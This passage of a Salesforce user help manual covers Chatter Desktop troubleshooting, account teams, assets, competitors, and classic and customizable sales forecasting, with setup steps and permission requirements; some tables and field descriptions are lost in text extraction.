Using Chatter Desktop
Configuring Chatter Desktop
Chatter Desktop Overview
Troubleshooting Chatter Desktop
Solution
Change your default browser to another application and then
back to your preferred browser. This ensures that your
operating system opens the Chatter Desktop installation files
correctly.
Chatter Desktop on Linux freezes, presents an empty window, Try the following:
does not save your password, or malfunctions in another way. If using the managed installation, verify the
.chatterdesktop file is well-formed and valid XML.
If using the managed installation, verify the URLs in the
.chatterdesktop file are valid, and that each URL
begins with https:// and ends with salesforce.com.
Troubleshoot your Encrypted Local Storage (ELS)
keystore. See
http://kb2.adobe.com/cps/492/cpsid_49267.html.
2472
Chatter Desktop
Problem
Solution
See Also:
Installing Chatter Desktop
Connecting Chatter Desktop
Using Chatter Desktop
Configuring Chatter Desktop
Disabling Chatter Desktop Remotely
Chatter Desktop Overview
Updates
2.1
2.0
1.3.3
2473
Chatter Desktop
1.3.2
1.2.1
1.2.0
1.1.1
1.1.0
1.0.7
1.0.6
1.0.5
See Also:
Installing Chatter Desktop
Connecting Chatter Desktop
Using Chatter Desktop
Configuring Chatter Desktop
Disabling Chatter Desktop Remotely
Chatter Desktop Overview
2474
SELLING
ACCOUNT TEAMS
Account Teams Overview
Available in: Enterprise, Unlimited, and Developer Editions
An account team is a team of users that work together on an account. For example, your account team may include an executive
sponsor, dedicated support representative, and project manager.
You can build an account team on each account that you own. When selecting an account team member, choose a role to
indicate the role the person plays on the account. Also, depending on your sharing model, you can specify the level of access
each account team member will have to the account and any contacts, opportunities, or cases associated with that account. So,
you can give some team members read-only access and others read/write access.
You can also set up a default account team. Your default account team should include the users that you normally work with
on your accounts. You have the option to automatically add your default account team to all of your accounts.
In a custom list view, you can filter account lists by the account teams in which you are a member. When creating or editing
a custom list view for accounts, simply select the My Account Teams filter. In account reports, you can filter accounts by
the account teams in which you are a member.
Note: Account teams are not the same as sales teams, although they share the same set of available team member
roles. Account teams work together on accounts, while sales teams work together on opportunities.
See Also:
Setting Up Account Teams
Adding Account Team Members
Editing Account Team Members
Removing Account Team Members
Setting Up Default Account Teams
Sales Teams Overview
Account and Contact Reports
2475
Account Teams
Customize Application
Customize Application
Your users can add account team members to accounts. Similar to sales teams on opportunities, account teams are teams of
users who work together on accounts.
To access the Account Team Setup page, click Your Name > Setup > Customize > Accounts > Account Teams. On the
Account Team Setup page, click the appropriate links to perform the following actions:
2476
Account Teams
Note: Disabling account teams removes all account teams from all accounts and removes the Account Team related
list from all page layouts.
In addition, you cannot disable account teams for your organization if team members are referenced in Apex. For
example, if Apex code references the Team Member field (represented as AccountTeamMember in the code), account
teams cannot be disabled. For more information, see Apex Code Overview on page 1994.
See Also:
Account Teams Overview
Adding Account Team Members
Setting Up Default Account Teams
Read on opportunities
Read on accounts
AND
Owner of account record, or above owner in your
organization's role hierarchy
An account team is a team of users that work together on an account. For example, your account team may include an executive
sponsor, dedicated support representative, and project manager.
Click Your Name > Setup > My Personal Information > Personal Information.
Click Add in the Default Account Team related list.
Select users to add as members of your default account team.
Select the access levels that each member should have on the accounts you own and the contacts, opportunities, and cases
related to those accounts.
An access level can only grant the same or wider access than your organizations default access level for that kind of record.
Contact Access is not available when the organization-wide default for contacts is set to Controlled by Parent.
5. Select an account team role for each member, for example, Channel Manager.
6. Check the Automatically add my default account team... box to add your default account team to all accounts
that you create and all accounts that are transferred to you.
7. Check the Update account teams... box to apply default account team changes to all of your existing accounts.
8. Click Save.
2477
Account Teams
Read on accounts
AND
Owner of account team record, or above owner in your
organization's role hierarchy
To view accounts:
Read on accounts
To build an account team, you select an account and add account team members to it. You can't add high-volume portal users
to teams.
Note: The Account Access, Contact Access, Opportunity Access, and Case Access options depend on your sharing
model. In a Public sharing model, you may only have one option. Contact Access is not available when the
organization-wide default for contacts is set to Controlled by Parent. Regardless of sharing access, account team
members must also have the Read permission on accounts to view accounts that list them as members.
1. View the account.
2. Click Add in the Account Team related list.
3. Select users to add to the account team. To add your default account team to an account, click Add Default Team in the
Account Team related list. To add all account team members to an opportunity, click Add Account Team from the Sales
Team related list on the opportunity.
4. Select the type of access each member should have to the account's related records. The access level cannot be less restrictive
than your organizations default account access level.
5. Select a team role for each member.
6. Click Save.
2478
Account Teams
Tip: In a custom list view, you can filter account lists by the account teams in which you are a member. When creating
or editing a custom list view for accounts, simply select the My Account Teams filter. In account reports, you can
filter accounts by the account teams in which you are a member.
See Also:
Reassigning Multiple Team Members
Setting Up Account Teams
Editing Account Team Members
Removing Account Team Members
Read on accounts
Edit on accounts
AND
Owner of account team record, or above owner in your
organization's role hierarchy
For each account you own or have access to, you can change the access level and role of any member.
Note: If a team member is on your default account team and you modify his or her properties for a specific account,
those changes affect only that account. The setup of your default account team does't change.
1. View the account.
2. To add team members, click Add or Add Default Team on the Sales Team related list.
3. To edit a team member's access, click Edit next to the member's name and select a different access level for the account
and its related contacts, opportunities, and cases.
An access level can only grant the same or wider access than your organizations default access level for that kind of record.
4. To edit a team member's role, click Edit next to the member's name and select a different role.
5. Click Save.
Tip: Click Display Access in the Account Teams related list to show the organization-wide sharing settings related
to accounts. These settings may allow greater access than those specified when the user was added to the account team.
For example, if your company's organization-wide sharing setting for accounts is Read/Write, that setting will override
2479
Account Teams
a Read Only setting for an individual member of an account team. Contact access is not available when the
organization-wide default access for contacts is set to Controlled by Parent.
See Also:
Adding Account Team Members
Setting Up Default Account Teams
Read on accounts
Edit on accounts
AND
Owner of account record, or above owner in your
organization's role hierarchy
For each account you own, you can remove any team member from the account team.
1. View the account.
2. Click Del next to the members name in the Account Team related list.
Click Delete All if you want to remove all the account team members at once.
3. Check the Remove box if you also want to remove the user from the sales teams of open opportunities associated with
the account.
4. Click Delete to finish.
Note: Unless specified, removing a member of your account team does not remove that person from your opportunity
sales teams.
If a team member is on your default account team and you remove him or her from a specific account, those changes
only affect that account. The setup of your default account team does not change. To remove users from your default
account team, see Setting Up Default Account Teams on page 2477.
If a user on an account team has Read/Write access (Account Access, Contact Access, Opportunity Access, and
Case Access) and is deactivated, the access will default to Read Only if the user is reactivated.
See Also:
Reassigning Multiple Team Members
2480
Assets
An account team member has the following fields, listed in alphabetical order. Depending on your page layout and field-level
security settings, some fields may not be visible or editable. (Field-level security is available in Enterprise, Unlimited, and
Developer Editions only.)
Field
Description
Account Access
Contact Access
Case Access
Team Member
Team Role
The role that the team member plays for the account, for
example, Account Manager.
ASSETS
Assets Overview
Available in: Professional, Enterprise, Unlimited, and Developer Editions
While products represent the items that your company sells, assets represent the specific products your customers have purchased,
including a serial number, date of purchase, or any other information related to an individual sale. Depending on how your
organization uses assets, they can represent a competitor product that your customer has or versions of your products.
2481
Assets
Use assets to store specific information about the products your customers have. Depending on your page layouts, you can
view asset related lists on your account, contact, and product page layouts.
If set up by an administrator, your customers may be eligible for support based on an asset they've purchased. See Entitlement
Management Overview on page 3357.
See Also:
Getting Started with Assets
Viewing Asset Lists
Administrator tip sheet: Getting Started with Assets
If your organization has enabled products, assets are automatically enabled for your organization. However, administrators
still need to customize their organization before users can begin using assets. To implement assets for your organization:
Add the Assets related list to account, contact, and product page layouts. Users can create new assets from these related
lists. For instructions on changing page layouts, see Customizing Page Layouts on page 1278.
Add the Cases related list to the appropriate product and asset page layouts.
Add the Asset field to your case page layouts. Consider changing the field-level security for the Asset field so that it
displays or is required if necessary for your business. See Field-Level Security Overview on page 663.
By default, your users have Read, Create, Edit, and Delete permissions on assets. If necessary, revise these permissions
for your users. Without the Read permission on assets, users will not see any assets or asset related lists in Salesforce. For
information on these permissions, see Object Permissions on page 586 .
Optionally, customize asset fields and page layouts by clicking Your Name > Setup > Customize > Assets.
See Also:
Administrator tip sheet: Getting Started with Assets
2482
Assets
Read on assets
To change assets:
Edit on assets
Display a list of assets by going to the Products tab and clicking a view from the Asset Views section. To show a filtered list
of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view.
To edit or delete any view you created, select it from the View drop-down list and click Edit.
Click an asset name to view the detail. Click Edit or Del to edit or delete the asset. For information on deleting assets,
see Deleting Assets on page 2488.
or
Chatter in the top-right corner to see feed updates for the list view. Click
Click any column heading to sort in ascending or descending order using that columns information.
At the top of the list, click a letter to display the contents of the sorted column that begin with that character.
See Also:
Customizing User Interface Settings
Working with Enhanced Lists
Printing List Views
Using Inline Editing in Lists
Read on assets
To change assets:
Edit on assets
You can display an asset from the Products tab or a related account or contact.
2483
Assets
Displaying Assets
Once you have located an asset from a related list, or the products home or list pages, click the name to display detailed
information. If hover details are enabled, hover over any lookup field on the detail page to view key information about
a record before clicking into that record's detail page.
Viewing Asset Updates and Comments (Chatter)
Display a Chatter feed of updates, comments, and posts about the asset.
Editing Assets
Use inline editing to edit fields directly on the detail page. If inline editing isn't enabled, contact your administrator.
To display the page in edit mode, click Edit, make your changes, and click Save.
See Also:
Asset Fields
Creating Assets
Cloning Assets
Deleting Assets
Tagging Records
Searching for Assets
Entitlement Management Overview
2484
Assets
Creating Assets
Creating Assets
Available in: Professional, Enterprise, Unlimited, and Developer Editions
Read on assets
To create assets:
Create on assets
Administrators and users with the Create permission on assets can create new assets.
1. Click New on the Assets related list of an account, contact, or product. This action automatically inserts the account name,
contact name or product name, depending on the record you selected when you clicked New.
2. To associate the asset with a product, enter the exact product name. If the product name is unique, Salesforce automatically
inserts this name in the Asset Name field.
If you do not know the name of the product:
a. Click the Product lookup icon if the asset is based on a product.
b. Enter a search filter to find a current product, and click Go!. See Entering Filter Criteria for information on filtering
information.
c. Select the appropriate product. Salesforce automatically inserts the selected product name in the Asset Name field.
3. Enter a name for the asset.
4. Choose the account or contact for the customer who has purchased the asset.
If necessary, you can choose both an account and a contact that are not related. The asset will display on the contact selected
on the asset as well as the account selected on the asset, however, it will not display on the account of the contact. If you
only choose a contact, the asset will display on both the contact and the contact's account.
5. To create an asset for a competitors product, check Competitor Asset.
6. Click Save.
You can enter person accounts in either the Account or Contact fields of an asset. The Assets related list on a person account
includes all assets related to the person account, including those where the person account is in the Contact field. See What
is a Person Account? on page 68.
See Also:
Asset Fields
Cloning Assets
2485
Assets
Display a Chatter feed of updates, comments, and posts about the asset.
Note: If Chatter isn't enabled, contact your administrator.
Show or hide Chatter feeds using the Show Chatter and Hide Chatter links at the top of a feed.
To view a single feed update, click the timestamp below the update, for example, Yesterday at 12:57 AM. To view the full
feed, above the update, click All Updates.
Following Assets
When you follow an asset, your Chatter feed includes field changes and asset feed updates.
See Also:
Chatter Overview
Feeds
Cloning Assets
Available in: Professional, Enterprise, Unlimited, and Developer Editions
Read on assets
Create on assets
Use the Clone button on an asset to quickly create a new asset with the same information as the selected asset. To clone an
asset for your organization:
1. Click Clone on an existing asset.
2. Enter or change any information for the new asset.
3. Click Save.
2486
Assets
Asset Fields
Note: If you have read-only access to a field, the value of that field is not carried over to the cloned record.
See Also:
Asset Fields
Asset Fields
Available in: Professional, Enterprise, Unlimited, and Developer Editions
An asset has the following fields, listed in alphabetical order. Depending on your page layout and field-level security settings,
some fields may not be visible or editable. (Field-level security is available in Enterprise, Unlimited, and Developer Editions
only.)
Field
Description
Asset Division
Asset Name
Account
Contact
Competitor Asset
Description
Install Date
Price
Product
Purchase Date
Quantity
2487
Assets
Deleting Assets
Field
Description
Serial Number
Status
The date the asset expires or the last date it is under warranty.
Use this field to store whatever date is appropriate for your
business.
See Also:
Displaying and Editing Assets
Creating Assets
Cloning Assets
Deleting Assets
Available in: Professional, Enterprise, Unlimited, and Developer Editions
Read on assets
To delete assets:
Delete on assets
Delete on assets
Since assets are related to account and contact records, you can delete them from those records or individually using the
Products tab. Before you delete an asset, review the following scenarios:
2488
Assets
To delete an asset:
1. Locate the asset on the Assets related list of an account or contact, or on an asset list view from the Products tab.
2. Click Del next to the asset you want to delete.
3. Click OK.
See Also:
Recycle Bin
Deleting Mass Data
Read on assets
See Also:
Search Overview
2489
Competitors
Competitors Overview
COMPETITORS
Competitors Overview
Available in: All Editions that signed up prior to Summer '09
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions that signed up during or after Summer
'09
Not Available in Database.com
You can track competitors in a pending sale by listing the competitors names in the opportunity. You can enter the names of
new competitors, or choose from a list of competitors defined by your administrator via Your Name > Setup > Customize >
Opportunities > Competitors. To access this information, go to the Competitors related list of the opportunity.
See Also:
Defining Competitors
Viewing and Editing Competitors
Competitor Fields
Deleting Competitors
Defining Competitors
Available in: All Editions that signed up prior to Summer '09
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions that signed up during or after Summer
'09
Not Available in Database.com
Customize Application
Create a picklist of competitors that your users can attach to opportunities. To add competitors to the picklist:
1.
2.
3.
4.
Click Your Name > Setup > Customize > Opportunities > Competitors.
Click New to add competitor names to the list.
Enter the name of the competitor.
Optionally, check the default option to select this value on any new record when another value is not selected.
2490
Competitors
5. Click Save.
Use the following options to modify existing competitors:
See Also:
Competitors Overview
Defining Competitors
Competitor Fields
Deleting Competitors
Read on opportunities
To edit competitors:
Edit on opportunities
The Competitors related list of an opportunity shows the competitors for that deal.
2491
Competitors
Competitor Fields
Note: To add or create a competitor on an opportunity, you must also have access to edit that opportunity.
See Also:
Competitors Overview
Defining Competitors
Competitor Fields
Deleting Competitors
Competitor Fields
Available in: All Editions that signed up prior to Summer '09
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions that signed up during or after Summer
'09
Not Available in Database.com
Description
Competitor Name
Strengths
Weaknesses
See Also:
Competitors Overview
Viewing and Editing Competitors
Defining Competitors
Deleting Competitors
2492
Forecasting
Deleting Competitors
Deleting Competitors
Available in: All Editions that signed up prior to Summer '09
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions that signed up during or after Summer
'09
Not Available in Database.com
Edit on opportunities
You can delete a competitor from the opportunities page by clicking the Del link next to a competitors name in the Competitors
related list.
Note: To delete a competitor from an opportunity, you must also have access to edit that opportunity.
See Also:
Competitors Overview
Viewing and Editing Competitors
Defining Competitors
Competitor Fields
FORECASTING
Forecasts Overview
Available in: Professional, Enterprise, Unlimited, and Developer Editions
Note: This information only applies to Forecasts (Classic) and not to the Forecasts product released in Winter 12 or
to Customizable Forecasts.
A forecast is your best estimate of how much revenue you can generate in a quarter. This amount is divided between Commit
Amount - the amount you can confidently close - and Best Case Amount - the total amount of revenue you might possibly
generate. A managers forecast should include the amount of revenue the entire team can generate together.
2493
Forecasting
Forecasts Home
The Forecasts tab displays a home page that lets you quickly create and locate forecasts and quotas. The Forecasts tab also
displays your monthly revenue projections, the amount of open opportunities in your pipeline, and the amount of your
closed/won opportunities. Managers forecasts also show a roll-up of forecast data for users that report to them.
See Also:
Forecasts Home
Tip sheet: Forecasts: Assessing Your Position
Forecasts Home
Available in: Professional, Enterprise, Unlimited, and Developer Editions
Note: This information only applies to Forecasts (Classic) and not to the Forecasts product released in Winter 12 or
to Customizable Forecasts.
Clicking the Forecasts tab displays the forecasts home page.
In the Forecast Views section, select a list view from the drop-down list to go directly to that list page, or click Create
New View to define your own custom view.
In the Forecast Summary section, the current quarters forecast numbers display by default. To see another quarters
forecast, select it from the drop-down list. From the summary, click the View button or the Totals link to go to the forecast
detail. Click Edit to edit the forecast.
Under Quick Create, choose the forecast quarter to add a new forecast.
Under Forecast Reports, click a report name to jump to that report.
In the Quota Assignment section, click the link to create a new quota. Or, edit your forecast to change that quarters
quota.
See Also:
Forecasts Overview
Displaying and Editing Forecasts
Creating Forecasts
Deleting Forecasts
Creating Custom List Views
2494
Forecasting
Note: This information only applies to Forecasts (Classic) and not to the Forecasts product released in Winter 12 or
to Customizable Forecasts.
The forecasts list page displays a list of forecasts in your current view. From this page, you can view detailed forecast information
and access related information on opportunities that contribute to forecast results.
Click on a specific forecast to view the detail. Click Edit or Del next to the forecast entry to edit or delete it. See Displaying
and Editing Forecasts on page 2495.
To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
Click New Forecast to create a forecast. See Adding and Editing Quotas on page 46.
Click any column heading on the list page to sort the forecasts in ascending order using that columns information. Click
the heading a second time to sort in descending order.
Displaying Forecasts
Editing Forecasts
Tagging Forecasts
Setting Forecast Currency
See Also:
Forecast History
Team Forecasts
2495
Forecasting
Displaying Forecasts
Available in: Professional, Enterprise, Unlimited, and Developer Editions
Note: This information only applies to Forecasts (Classic) and not to the Forecasts product released in Winter 12 or
to Customizable Forecasts.
Once you have located a forecast on the forecasts home or list pages, click View or the forecast name to display detailed
information.
At the top of the page, the table shows the forecast fields, which can contain calculated values or information that you entered
(see Forecast Fields on page 2499). Click Edit to edit the forecast (see Editing Forecasts on page 2496).
For organizations that use multiple currencies, all forecast and opportunity amounts are converted and displayed in your
personal currency. The actual amount fields in the opportunity are not affected. Click Change Currency to modify the default
currency of the forecast (see Setting Forecast Currency on page 2497).
The lower part of the forecast detail page shows forecast details in blue and related opportunities in yellow:
For each of the months in the forecast, you can click on individual opportunities to display additional detail. Click New
to add opportunities for that month in the forecast.
In the Team Forecasts related list (see Team Forecasts on page 2498), managers see a roll-up of amounts for their team.
In the Forecast History related list (see Forecast History on page 2498), you can see the history of the changes for the forecast.
To return to the last list page you viewed, click Back to list at the top of the forecast detail page. See Navigating on page 13
for more information.
Editing Forecasts
Available in: Professional, Enterprise, Unlimited, and Developer Editions
Note: This information only applies to Forecasts (Classic) and not to the Forecasts product released in Winter 12 or
to Customizable Forecasts.
To change your forecast, choose Edit from the forecast home page or detail page. If you are creating a new forecast, see Creating
Forecasts on page 2499.
1. For each opportunity, adjust the Forecast Category value, if necessary.
The entire Amount of the opportunity is added to the category you choose. The Expected Revenue is not used in
the calculation.
Choose the Omitted category to remove the opportunity from the commit, best case, and pipeline totals.
2. To see the resulting changes to the forecast numbers, click Recalculate. The forecast fields are recalculated based on:
2496
Forecasting
Note that the Pipeline number is not updated until you save the forecast.
3. If necessary, adjust your Quota, Commit Amount, and Best Case Amount.
4. To make the changes permanent, click Save. This saves the recalculated totals and any changes you have made to quotas,
the Commit Amount and Best Case Amount columns, or to the Forecast Category for specific opportunities.
Saving also updates the Pipeline number for the forecast.
For organizations that use multiple currencies, all forecast and opportunity amounts are converted and displayed in your
personal currency. The actual amount fields in the opportunity are not affected.
Note: Any change you make to the Stage field while editing an opportunity resets the Forecast Category. Your
administrator sets the correspondence between Forecast Category and Stage in the Stage picklist.
See Also:
Setting Forecast Currency
Forecast History
Team Forecasts
Forecast Fields
Creating Forecasts
Deleting Forecasts
Note: This information only applies to Forecasts (Classic) and not to the Forecasts product released in Winter 12 or
to Customizable Forecasts.
For organizations that use multiple currencies, all forecast amounts are shown in your personal currency, by default. If you
have opportunities in different currencies, those amounts are converted to your personal currency for display; the actual amounts
in the opportunity are not affected. Likewise for managers, their teams forecast amounts are converted to the managers
personal currency. The manager can drill down into the users forecast and opportunities to see the amounts in the original
currencies.
To change the currency for your forecast:
1. View the forecast, and click Change Currency.
2. Choose a currency from the list, and click Save. All amounts are converted to the new currency.
If you change the currency for the quota associated with the forecast, the currency of the forecast also changes. See Adding
and Editing Quotas on page 46.
2497
Forecasting
Forecast History
Available in: Professional, Enterprise, Unlimited, and Developer Editions
Note: This information only applies to Forecasts (Classic) and not to the Forecasts product released in Winter 12 or
to Customizable Forecasts.
The Forecast History related list of a forecast detail page tracks the changes to the forecast. Any time you change the Quota
(either from the forecast detail page or from the Personal Information pages), Commit Amount, or Best Case Amount
numbers, a new entry is added to the Forecast History related list. All entries include the date, time, and the forecast totals at
the time of the change.
From the Reports tab, you can view the Forecast History report which shows the forecast history for your forecasts, subtotaled
by opportunity.
See Also:
Adding and Editing Quotas
Opportunity Reports
Team Forecasts
Available in: Professional, Enterprise, Unlimited, and Developer Editions
Note: This information only applies to Forecasts (Classic) and not to the Forecasts product released in Winter 12 or
to Customizable Forecasts.
On forecast pages, managers see their own opportunities, plus a roll-up of forecast data for users that report to them.
Note: If your team members have not created forecasts for the quarter, no information is displayed for them.
On the forecast detail page, the Team Forecasts related list displays forecast data for each user that reports to you. These
amounts are totaled to give you a complete roll-up for your team. Click a users name to view that users forecast detail, or
click Edit to edit that users forecast.
On the forecast edit page, each month has a Team Forecast related list so you can view a roll-up of opportunities and
forecast amounts for each month.
For organizations with multiple currencies, the team members forecasts are converted and displayed in the currency of the
managers forecast. Click a users name to drill down and view amounts in their original currencies.
2498
Forecasting
Creating Forecasts
Creating Forecasts
Available in: Professional, Enterprise, Unlimited, and Developer Editions
Note: This information only applies to Forecasts (Classic) and not to the Forecasts product released in Winter 12 or
to Customizable Forecasts.
To create a new forecast:
1. Click New Forecast.
2. Choose the year and quarter for the forecast, and click Next. The year you select should be based on your organizations
Fiscal Year Starts In settings.
3. Enter the Quota for each of the months in the forecast.
4. Verify, and adjust if necessary, the Forecast Category for the opportunities in the forecast.
If you change any of the Forecast Category values, click Recalculate to update the forecast numbers. Note that the
Pipeline number is not updated until you save the forecast.
5. If necessary, adjust the calculated values for the Commit Amount and Best Case Amount fields. Managers estimates
should include the amount of revenue they and their entire team can generate.
6. Click Save.
If Quick Create is enabled by your administrator, you can also add a new forecast on the forecasts home page, or just by
creating a quota for the quarter in your personal information accessed via Your Name > Setup > My Personal Information
> Personal Information.
See Displaying Forecasts on page 2496 for an explanation of the forecast display.
See Also:
Editing Forecasts
Forecast Fields
Forecasts Home
Forecast Fields
Available in: Professional, Enterprise, Unlimited, and Developer Editions
Note: This information only applies to Forecasts (Classic) and not to the Forecasts product released in Winter 12 or
to Customizable Forecasts.
A forecast has the following fields, listed in alphabetical order.
2499
Forecasting
Forecast Fields
Field
Description
% Quota
Closed
Created By
Commit Amount
Forecast Category
Modified By
Month
Pipeline
Quota
See Also:
Displaying and Editing Forecasts
Creating Forecasts
2500
Customizable Forecasts
Deleting Forecasts
Deleting Forecasts
Available in: Professional, Enterprise, Unlimited, and Developer Editions
Note: This information only applies to Forecasts (Classic) and not to the Forecasts product released in Winter 12 or
to Customizable Forecasts.
To delete a forecast, click Del next to the forecast in the forecasts list page, or click Delete on the forecast detail page. Deleted
forecasts cannot be retrieved from your Recycle Bin.
You can delete a forecast if you are an administrator, the forecast owner, or a user above the forecast owner in the organization
role hierarchy.
CUSTOMIZABLE FORECASTS
Customizable Forecasting Overview
Available in: Professional, Enterprise, Unlimited, and Developer Editions
Note: This information applies to Customizable Forecasting and not to other forecasting products.
Customizable forecasting is a flexible solution for estimating how much revenue your organization can generate or how many
items your organization can sell. You can set up customizable forecasting to reflect how your organization forecasts its sales.
With it, you can forecast on a monthly or quarterly basis, use different dates when applying amounts to forecasts, forecast
based on revenue or quantity or both, and define additional quotas based on product families.
Use customizable forecasts to review your forecast and drill down through your forecast amounts to see the opportunities
included in your forecast. Override forecast amounts directly from the opportunity, or override the forecast from the Forecasts
tab without notifying users below you in the forecast role hierarchy.
For information on implementing customizable forecasting for your organization, see Setting Up Customizable Forecasting.
See Also:
Tip sheet: Using Customizable Forecasts
Administrator tip sheet: Setting Up Customizable Forecasting
Managing Customizable Forecasts
Viewing Customizable Forecasts
Do I Have Customizable Forecasting?
2501
Customizable Forecasts
Note: This information applies to Customizable Forecasting and not to other forecasting products.
Customizable forecasting may be difficult to distinguish because the tab name does not change when you convert to customizable
forecasting. Here's how to tell if you have it:
Click the Forecasts tab.
If you see either the Introducing Customizable Forecasting or Request Now! buttons, you don't have customizable
forecasting.
If you don't see either button, your organization already has customizable forecasting.
See Also:
Customizable Forecasting Overview
Customizable Forecasting Home
Managing Customizable Forecasts
Submitting Customizable Forecasts
Forecast Override Indicators
Overriding Customizable Forecasts
Note: This information applies to Customizable Forecasting and not to other forecasting products.
Your forecast is a representation of your opportunity amounts, dates, and stages. Click the Forecasts tab and notice that your
forecast amounts are listed in different categories. Depending on its stage, an opportunity amount can be included in the
following forecast categories:
Best Case includes amounts you are likely to close, closed/won opportunity amounts, and amounts in the Commit category.
Closed includes amounts for closed/won opportunities.
2502
Customizable Forecasts
Commit includes amounts you are confident about closing and closed/won opportunity amounts.
Omitted means the amount does not contribute to your forecast.
Pipeline includes amounts from all open opportunities.
Note: You can edit the forecast category field on opportunities to change the value displayed in reports, opportunity
detail and edit pages, opportunity searches, and opportunity list views. For example, you can change the value of the
Commit category to Won to make the category name match your business processes.
Each value in the opportunity Stage picklist is automatically mapped to a Probability and value in the Forecast
Category picklist. Change the Stage of an opportunity and the Probability as well as the Forecast Category changes
with it.
For example, your organization may have mapped the Negotiation/Review stage to the Best Case forecast category. This
means that the amounts of your opportunities in Negotiation/Review are included in your Best Case forecast amount.
Your organization may have set up different mappings but an example of how these fields map is below:
Stage
Probability
Forecast Category
Prospecting
10%
Pipeline
Qualification
10%
Pipeline
Needs Analysis
20%
Pipeline
Value Proposition
50%
Pipeline
Id Decision Makers
60%
Pipeline
Perception Analysis
70%
Pipeline
Proposal/Price Quote
75%
Pipeline
Negotiation/Review
90%
Best Case
Closed Won
100%
Commit
Regardless of whether you use customizable forecasting or not, your forecasts still rely on how your opportunity Stage picklist
values map to values in the Forecast Category picklist.
See Also:
Tip sheet: Using Customizable Forecasts
Administrator tip sheet: Setting Up Customizable Forecasting
Managing Customizable Forecasts
Viewing Customizable Forecasts
2503
Customizable Forecasts
Override Forecasts
Note: This information applies to Customizable Forecasting and not to other forecasting products.
Clicking the Forecasts tab displays your forecast for the selected forecast period.
Click Submit to submit a forecast, making a snapshot of the forecast data available in the forecast history and forecast
reports. See Submitting Customizable Forecasts.
Click Forecast History to display the forecast data you submitted in the past. Then, click Forecast Summary to return
to the current forecast data.
Click Printable View to display the selected forecast in a simple, print-ready layout.
Review your forecast and the forecasts of any direct reports or forecasts that are manually shared with you. See Viewing
Customizable Forecasts for instructions on different viewing options.
Click the Forecast subtab to see forecast details. See Viewing Customizable Forecasts for more information.
Click the Opportunities subtab to see the opportunities that are included in the displayed forecast. On the Opportunities
subtab, you can choose, or create, a list view to further filter the displayed opportunities. See Viewing Customizable
Forecasts for more information.
Click the edit icon ( ) to make changes to the adjusted forecast total, or to add an override to a particular forecast amount.
For instructions on overriding forecast amounts, see Overriding Customizable Forecasts.
If your forecast is not available, contact your administrator about adding you to the forecast hierarchy (or the territory hierarchy,
if your organization uses territory management). If you use report builder, note that it doesnt support Customizable Forecasts.
Note: The Forecasts tab is unlike other tabs in that it automatically calculates data for you based on your opportunity
data. You do not need to create or delete forecast records.
See Also:
Tip sheet: Using Customizable Forecasts
Administrator tip sheet: Setting Up Customizable Forecasting
Do I Have Customizable Forecasting?
Managing Customizable Forecasts
Viewing Customizable Forecasts
2504
Customizable Forecasts
Override Forecasts
Note: This information applies to Customizable Forecasting and not to other forecasting products.
Your forecasts represent your opportunity amounts, dates, and stages. To make sure your forecasts are an accurate representation
of your revenue potential:
1. Review your forecast amounts. See Viewing Customizable Forecasts for instructions on different viewing options.
2. Determine if you want to override any amounts.
3. Override amounts if necessary. This requires the appropriate user permission. See Overriding Customizable Forecasts on
page 2508.
4. Submit your forecast to make a snapshot of your forecast data available in your forecast history and forecast reports. See
Submitting Customizable Forecasts.
See Also:
Customizable Forecasting Overview
Working with Forecast Categories
Customizable Forecasting Home
Tip sheet: Using Customizable Forecasts
Administrator tip sheet: Setting Up Customizable Forecasting
Do I Have Customizable Forecasting?
Viewing Customizable Forecasts
Submitting Customizable Forecasts
2505
Customizable Forecasts
Override Forecasts
Note: This information applies to Customizable Forecasting and not to other forecasting products.
When you click the Forecasts tab, review the amounts listed and determine if they are ready to be submitted.
Initially, your name appears in the title bar and above Find a Forecast:, indicating that you are viewing your own
forecast. Users with the appropriate permissions can click the magnifying glass icon and select another user or role to view
that persons forecast. When you are viewing a forecast other than your own, the role or username will be displayed in the
title bar and above Find a Forecast:. In addition, your access level will be displayed above Find a Forecast:.
If you organization uses manual forecast sharing, click Sharing to view the forecast sharing settings or to share the forecast
with other users.
If your organization uses territories, choose an option from the Territory picklist to summarize the forecast by that
territory. See Territory Management Overview.
If your organization uses product families, choose an option from the Product Family picklist to summarize the forecast
by that product family. Choosing --All-- product families disables the Submit, and Forecast History options; choose
another product family to use these options. See Defining Customizable Forecast Settings for information on customizing
your organization to use product families.
If your organization forecasts on both revenue and quantity, select whether to include revenue, quantity, or revenue and
quantity. This controls which information is displayed for each amount listed.
Select a date range under Range Start to view another forecast period. Forecast details for opportunities that closed
more than two years before you implemented customizable forecasting or more than 10 years in the future are not available.
For information on opportunities outside of this time range, see Opportunity Reports.
Note: Organizations that implemented customizable forecasting prior to the Salesforce Winter '07 release can see
forecasts outside of this range.
Select an option next to Display Units to view forecast totals using a different unit of measurement. To display what
portion each total is of your quota, choose % Quota.
2506
Customizable Forecasts
View by Period displays a list of direct reports and their forecasts for each forecast period. Click any name to view the
forecast for that user.
View by Direct Report displays a list of forecast totals for each direct report. Click View next to any subordinate name to
view the forecast for that user.
Clicking any amount displays the opportunities and forecast overrides included in that amount.
Viewing Opportunities
Select the Opportunities subtab to see the opportunities that are included in the displayed forecast. On the Opportunities
subtab, you can choose, or create, a list view to further filter the displayed opportunities. Click any opportunity to see the
opportunity details. To override the opportunity, click Edit. For more information on overriding opportunities, see Overriding
Customizable Forecasts.
Note: When a partner portal is transferred to another account, the opportunities on each account are automatically
recalculated through your organization's forecast hierarchy.
See Also:
Customizable Forecasting Overview
Working with Forecast Categories
Customizable Forecasting Home
Managing Customizable Forecasts
Submitting Customizable Forecasts
2507
Customizable Forecasts
Override Forecasts
Note: This information applies to Customizable Forecasting and not to other forecasting products.
You can make your forecast a more accurate assessment of your forecasted sales by overriding forecast amounts as needed. Any
user can override a forecast from the opportunity by changing the Stage or Forecast Category of the opportunity. Users
with the Override Forecasts permission can override their forecast or any direct reports forecast at the forecast level.
Accept John Does forecastUse this option to accept the forecast of your direct report, including any overrides that
he or she has made.
Reject any override on John Does forecast, but accept forecast overrides from other subordinatesUse this option
to ignore overrides made on your direct report's forecast, but include any overrides made on forecasts further down in
